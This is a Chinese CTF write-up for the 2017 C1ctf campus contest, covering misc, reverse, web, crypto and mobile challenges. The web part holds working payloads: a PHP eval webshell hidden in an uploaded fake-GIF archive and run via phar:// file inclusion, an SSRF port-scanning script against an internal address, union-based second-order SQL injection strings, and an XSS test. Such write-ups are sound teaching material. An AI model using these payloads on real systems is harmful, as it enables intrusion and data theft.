本来打算划水度过本周,看到CTF忍不住又去刷了一下。隔壁大佬学校校赛,由于某大佬偷懒,于是只好写一份wp了,下面是伪官方wp。
Misc
真的是签到
签到题不得不说好难啊,凯撒密码解密26次,然后提交:)
C1ctf{Th3_qu3stion_i4_e4sy}
你们要的签到题
base64一下
C1ctf{C1sec_1s_greate}
要爆破吗?
看群里有人说加群才能知道,我试了下群号,群昵称,发现密码是C1ctf2017
C1ctf{You_cracked_it}
冬天冷了,织毛衣给你
binwalk –e 了一下,但是没看出来啥,后来想起了曙光大佬隐写视频,里面好像有个foremost可以提文件,又翻了下
流量分析
这题有的wireshark版本导出不全
查看http流量包
导出对象
点击save all
导出结果
xiaoma(22)可以得到这样一个东西(好像其它包里也有,没细看),看到了base64_decode
解码得到
c1ctf{You_find_the_key}
二维码
扫描二维码
A/MNCsRKBVpjAAAAAAAAAAACAAAAQAAAAHMZAAAAZAAAZAEAbAAAWgAAZAIAhAAAWgEAZAEAUygDAAAAaf////9OYwEAAAAFAAAACQAAAEMAAABzzwAAAGQBAH0BAGQCAH0CAGQCAH0DAHhNAHQAAGQDAHQBAHwAAIMBAGQEABiDAgBEXTIAfQQAfAIAdAIAdAMAfAAAfAQAGYMBAHQDAHwAAHwEAGQEABcZgwEAQYMBABd9AgBxLABXfAIAfAAAZAUAGRd9AgB4TwB0AABkAwB0AQB8AgCDAQCDAgBEXTgAfQQAfAMAdAIAdAMAfAIAfAQAGYMBAHQDAHwBAHwEAHQBAHwBAIMBABYZgwEAQYMBABd9AwBxhgBXdAQAagUAfAMAgwEAUygGAAAATnQEAAAAMTIzNHQAAAAAaQAAAABpAQAAAGn/////KAYAAAB0BQAAAHJhbmdldAMAAABsZW50AwAAAGNocnQDAAAAb3JkdAYAAABiYXNlNjR0CQAAAGI2NGVuY29kZSgFAAAAdAQAAABzdHIxdAMAAABrZXl0AwAAAGVuY3QEAAAAZmxhZ3QBAAAAaSgAAAAAKAAAAABzBwAAAG1pc2MucHl0BgAAAGVuY29kZQMAAABzEgAAAAADBgEGAQYBIAEwAQ4BHAE2ASgCAAAAUgYAAABSDQAAACgAAAAAKAAAAAAoAAAAAHMHAAAAbWlzYy5weXQIAAAAPG1vZHVsZT4CAAAAcwIAAAAMAQ==
拿去base64看到py等字眼
http://tomeko.net/online_tools/base64.php?lang=en
拿去转了一下hex编码
03F30D0AC44A055A630000000000000000020000004000000073190000006400006401006C00005A00006402008400005A010064010053280300000069FFFFFFFF4E630100000005000000090000004300000073CF0000006401007D01006402007D02006402007D0300784D007400006403007401007C000083010064040018830200445D32007D04007C02007402007403007C00007C0400198301007403007C00007C0400640400171983010041830100177D0200712C00577C02007C000064050019177D0200784F007400006403007401007C0200830100830200445D38007D04007C03007402007403007C02007C0400198301007403007C01007C04007401007C0100830100161983010041830100177D0300718600577404006A05007C03008301005328060000004E74040000003132333474000000006900000000690100000069FFFFFFFF2806000000740500000072616E676574030000006C656E740300000063687274030000006F726474060000006261736536347409000000623634656E636F6465280500000074040000007374723174030000006B65797403000000656E637404000000666C61677401000000692800000000280000000073070000006D6973632E70797406000000656E636F64650300000073120000000003060106010601200130010E011C01360128020000005206000000520D00000028000000002800000000280000000073070000006D6973632E707974080000003C6D6F64756C653E0200000073020000000C01
放到winhex里保存为pyc文件 拿去反编译一下得到
import base64
def encode(str1):
key = '1234'
enc = ''
flag = ''
for i in range(0, len(str1) - 1):
enc = enc + chr(ord(str1[i]) ^ ord(str1[i + 1]))
enc = enc + str1[-1]
for i in range(0, len(enc)):
flag = flag + chr(ord(enc[i]) ^ ord(key[i % len(key)]))
return base64.b64encode(flag)
写出对应解密脚本
import base64
def encode(str1):
key = '1234'
enc = ''
flag = ''
for i in range(0, len(str1) - 1):
enc = enc + chr(ord(str1[i]) ^ ord(str1[i + 1]))
enc = enc + str1[-1]
#print "enc:",enc
for i in range(0, len(enc)):
flag = flag + chr(ord(enc[i]) ^ ord(key[i % len(key)]))
return base64.b64encode(flag)
def decode(str1):
key = '1234'
dnc = ''
flag = ''
a = base64.b64decode(str1)
for i in range(0,len(a)):
dnc = dnc + chr(ord(a[i]) ^ ord(key[i % len(key)]))
#print "dnc:",dnc
flag = dnc[-1]
for i in range(0, len(dnc)-1):
flag = chr(ord(dnc[-i-2])^ord(flag[0]))+flag
return flag
def main():
print(p)
print(decode('Q2AkJiwdD29dXm45IDk6MBoEKRgYISQ/Fwg3Jjs2Tg=='))
if '__main__'==__name__:
main()
C1ctf{Th3_3ncrypt_is_very_easy}
Reverse
弱密码
下载下来用IDA打开,F5大法得到
最后得到
好像密码是012345
然后运行也能出flag,不过需要64位版本程序或32位电脑
当i=0时,map1[4]和passwd[0]异或的结果为l0v2[0]
过关斩将
拿到逆向题,
解压之后打开看看,估计是一道验证题
扔到peid
没有壳,再看看有啥算法
嗯base64和md5没啥想法
然后扔到ida
发现有花指令,打开od进行去除
去除花指令就不详细说了,主要是多跟进函数看看有没有函数里的花指令,还有就是跳转注意用flag寄存器去改
扔到ida反编译
这里跟进loc_424500进去
What???
这啥意思?
不过也能猜出来这里是比较口令长度不能超过31,没什么用
根据下面猜测口令前6个是C1CTF{
输入个C1CTF{123}
Cmp eax,0x7d ; 此处是判断eax中的值是否为125即}
eax值来自第二个箭头处,这里我标出第一个箭头是我们输入的口令的开头
这样我们知道这个flag一共30位
输入C1CTF{01234567890123456789012}
这里是判断5F的位置即_的位置一共4个_号按照数据窗口比对好就行
C1CTF{01_3456_89_1234_6789012}
这里有个md5值,复制出来放到CMD5查一下,发现能出来 1s
那么C1CTF{01_3456_89_1234_6789012}两个字符的位置不是01就是89
01改成1s试一下过了
C1CTF{1s_3456_89_1234_6789012}
然后来到这里emmmm一万个常量,下个硬件断点看看把
回IDA看看,看不出来再分析这个把emmmm
确实看不懂emmm具体函数没法f5还是回OD把
这回单步过来没下断点,在上一个断点前发现了有意思的东西
这里注意eax里是要处理的数据
这里又给ecx一段数据发现是上一个md5值
相减然后与之前的常量比较
利用给出的常量和md5值进行逆运算得到md5
7ab5e02e9c853d8af31de104fad68447
CMD5查一下是th4t 放到3456试一下过了
C1CTF{1s_th4t_89_1234_6789012}
这回回到ida因为之前看ida的时候发现一个好东西
一看就是个base64,随便找个地方解了得到e4sy
C1CTF{1s_th4t_89_e4sy_6789012}
这里读入一个文件写出一个rar,算法很简单就是两个数循环异或
把原文件头和RAR文件头前两个异或得到s0
C1CTF{1s_th4t_s0_e4sy_6789012}
再输入一遍正确flag打开压缩包
打开又黑框一闪而过
打开cmd
得到最后的flag
验证通过
C1CTF{1s_th4t_s0_e4sy_Cr4CkmE}
Web
hack!hack!hack!
首先查看了一下robots.txt文件
发现有个dropper.php
访问了一下发现是空白页面,直觉告诉我可能是一句话
用菜刀练了一下,密码dropper
进入/tmp目录下载flag.txt
下载下来得到flag
C1ctf{You_Find_the_dropper}
litle sister
这题有个xss,不知道是不是出题人故意的,可以提交
<script>alert('xss')</script>
这题思路就是一个将URL里的内容wget保存成图片到本地服务器,然后呈现到网页上。例如:
然后,提示里面
ip:172.17.0.3
端口:web常见端口 (立马想到80、8080,不会的同学可以百度搜下web常见端口)
然后提交 http:172.17.0.3:8080/flag.txt
此时只得到一张烂图,因为本来是txt被他改成了jpg
需要你保存下载
右键另存为,注意火狐浏览器可能无法保存将格式改成txt
觉得手工麻烦的大佬可以直接用脚本
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
from lxml import etree
url="115.159.49.85:5656"
a = [80,443,23,21,8080,139,7001,3389,1521,2100]
for i in a :
id=str(i)
payload = {'url':'http://172.17.0.3:'+id+'/flag.txt'}
r = requests.post('http://115.159.49.85:5656', data = payload )
selector = etree.HTML(r.text)
content = selector.xpath('/html/body/div[2]/form/fieldset/pre/img/@src')
content = content[-1]
content = content[1:]
imgurl = 'http://115.159.49.85:5656'
imgurl = imgurl+content
img = requests.get(imgurl)
if img.text:
print '目标端口为%s' %i
print img.text
break
C1ctf{S3rf_Find_the_P0Rt}
参考链接:http://www.freebuf.com/articles/web/20407.html
ping也能ping挂
首先是一个命令执行好像做了长度限制,只能用ls,不然可以直接cat到flag
发现you_find_upload.php
进入后点击查看源码
由于服务器关了,这里我不在展示
前面随机码去了,base64解密
/**
* Created by PhpStorm.
* User: xnianq
* Date: 2017/10/19
* Time: 上午11:24
*/
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>this_is_upload_page</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="">
<!-- Le styles -->
<link href="../css/bootstrap.css" rel="stylesheet">
<style>
body {
padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
}
</style>
<link href="../css/bootstrap-responsive.css" rel="stylesheet">
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="./ico/apple-touch-icon-144-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="./ico/apple-touch-icon-114-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="./ico/apple-touch-icon-72-precomposed.png">
<link rel="apple-touch-icon-precomposed" href="./ico/apple-touch-icon-57-precomposed.png">
<link rel="shortcut icon" href="./ico/favicon.png">
</head>
<body>
<div class="navbar navbar-inverse navbar-fixed-top">
<div class="navbar-inner">
<div class="container">
<button type="button" class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="brand" href="#">C1sec工具体验</a>
<div class="nav-collapse collapse">
<ul class="nav">
<li ><a href="index.php">Home</a></li>
<li ><a href="ping.php">ping</a></li>
<li ><a href="you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload">查看源码</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</div>
</div>
<div class="container">
<h1>少年你还是找到了这里,这才是本次攻击的重点 :)</h1>
<form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
<label>Select image to upload:</label>
<input type="file" name="file">
<button type="submit" class="btn" name="submit">upload</button>
<pre>
<?php
$type = array('gif','jpg','png');
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
echo mt_rand();
if (isset($_POST['submit'])) {
$check = getimagesize($_FILES['file']['tmp_name']);
@$extension = end(explode('.',$_FILES['file']['name']));
if(in_array($extension,$type)){
echo 'File is an image - ' . $check['mime'];
$filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
echo "<br>\n";
} else {
echo "File is not an image";
}
}
if(isset($_GET['p'])){
if(@preg_match("/\.\.\//",$_GET['p'])){
echo "你这个孩子,too young too simple";
}
else{
@include $_GET['p'].".php";
}
}
?>
</pre>
</form>
</div> <!-- /container -->
<!-- Le javascript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="../js/jquery-3.2.1.min.js"></script>
</body>
</html>
上传做了验证,而且传上去后文件名用随机数种子做了修改
参考链接:http://bobao.360.cn/ctf/detail/164.html
制作一个压缩包名字修改为1.gif里面放上a.php
a.php
<?php eval($_GET["cmd"])?>
上传之后得到随机数,用php_mt_seed工具
然后恢复的数字加下划线加文件名就是你的上传的文件
例如:123456_1.gif
然后用/you_find_upload.php?p=phar://upload/123456_1.gif/a来include,然后列目录
http://206.253.165.16/web1/you_find_upload.php?%20cmd=print_r(scandir(%27/var/www/html%27));&p=phar://upload/2138050946_1.gif/a
scandir是php的一个函数具体自己百度吧
%27是单引号的URL编码
看到大佬们上传的木马,萌新表示害怕.jpg
flag位置/etc/flag.txt
发现flag.txt
查了一下file函数是用来查看文件的
http://206.253.165.16/web1/you_find_upload.php?cmd=print_r(file(%27/etc/flag.txt%27));&p=phar://upload/123456_1.gif/a
c1ctf{command_injection_and_file_include}
嘤嘤嘤
这题的考察点主要在于二次注入
参考链接:https://www.cnblogs.com/ichunqiu/p/5852330.html
我理解的好像就是你在注入时候写的sql语句他会在你的单引号前加反引号注释,但是真正存入数据库时候并影响你的注入语句执行。
这里给了一个注册页面一个登录页面,注册页面是进行注入攻击用的,登录页面是进行查询自己的语句是否执行的。
以下注入语句均是我的登录帐号,密码随意构造
1111\’
显示count:0,用户名虽然显示是1111\\’,但是实际执行的是1111\’
下面放我的语句(也就是我注册的帐号),由于服务器停了,我就先把语句写完,然后把中间 我存下来的图片放出来
参考链接: https://www.cnblogs.com/pojun/p/6827772.html
admin’(单引号前面的可以任意填写,这里我拿admin做为例子)
admin’ order by 4#(此时点机小姐姐计数那个没反应)
admin’ order by 5#(此时点击计数+1,于是推断字段为4)
admin’ union select 1,2,3,database()#
admin’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=’ctf’#
admin’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=’hahaha_flag’#
admin' union select 1,2,3,group_concat(flag) from ctf.hahaha_flag#
flag{th3_sqlinject_Is_fun}
crypto
the baby rsa
这题有点取巧,因为猜了一下
首先大数并不能分解,估计是个提示,也是一个坑。
然后就是e=1了,看来下rsa原理后,虽然没看太懂,但是我大致猜了一下e等于1话明文就和密文相等了,不懂的自行百度rsa原理,尤其是那个解密公式
c=0x63316374667b546869735f69735f7468655f73696d706c655f61747461636b7d
这串密文应该是十六进制,转换成字符串类型直接出结果
c1ctf{This_is_the_simple_attack}
这样的加密你会不?
这样的加密我不会
维吉亚密码,不清楚的问度娘
四位一组,可以自己算也可以,也可以工具解密
然后密文对应的也是四位一组
nftz->flag
剩下的自己推
flag{youneedmoredecrypt}
Mobile
被挡住的flag
用apktool 进行反编译 命令
apktool_2.2.1.jar –f com.c1ctf.apk0.apk
后面的c1ctf是不存在的,这里偷懒用张老图
生成的文件用notepad++查找flag
C1ctf{Th1s_fl4g_1s_s0_ fun~}
简单异或
首先,不会Java的菜鸡对这题打出GG
经过各位大佬的指导,我现在把具体做题过程复现一遍
首先掏出大杀器IDA,进入x86的这个lib.so里面
查找字符串
发现了几组数据
双击进入第一项发现,第一个第二个是一起的只不过被截断了
逆向最简单的就是异或。因为其他的可能不可逆,然后你就需要寻找等长的字符串,然后我看到了
但是此时还没有结束,需要f5大法查看伪代码,按esc退出,然后按f5查看伪代码,不过要首先选中这个名字很长的动态链接库
java层调用了这个函数,做安卓静态调试时候也有一部分是要靠猜的,因为安卓开发生成的是其他平台的so。。所以是交叉编译。。交叉编译出来结果经常会很乱。
按f5查看源代码后得到
此时重点是上面箭头所指的地方,在数字上按r将它转换成字符型
得到ssss
得到这些信息就可以开始写脚本了,大致思路就是将获得到的三个字符进行异或
下面放出脚本
其中0x73,代表字符串s转成16进制表示0x73
a=[0x44,0x2A,0x79,0x74,0x4A,0x61,0x54,0x44,0x6E,0x68,0x49,0x4D,0x76,0x72,0x78,0x43,0x6E,0x7F,0x45,0x63,0x5E,0x7B,0x63,0x47,0x58,0x72,0x65,0x73,0x6B,0x79,0x55,0x49,0x79,0x65,0x73,0x2F]
b=[0x74,0x68,0x69,0x73,0x5F,0x69,0x73,0x5F,0x74,0x68,0x65,0x5F,0x6B,0x65,0x79,0x5F,0x74,0x68,0x69,0x73,0x5F,0x69,0x73,0x5F,0x74,0x68,0x65,0x5F,0x6B,0x65,0x79,0x5F,0x6B,0x65,0x79,0x21]
c=[0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73,0x73]
flag = ""
for i in range(len(a)):
flag=chr(a[i]^b[i]^c[i])+flag
print flag[::-1]
最后感谢大佬们对我的指导!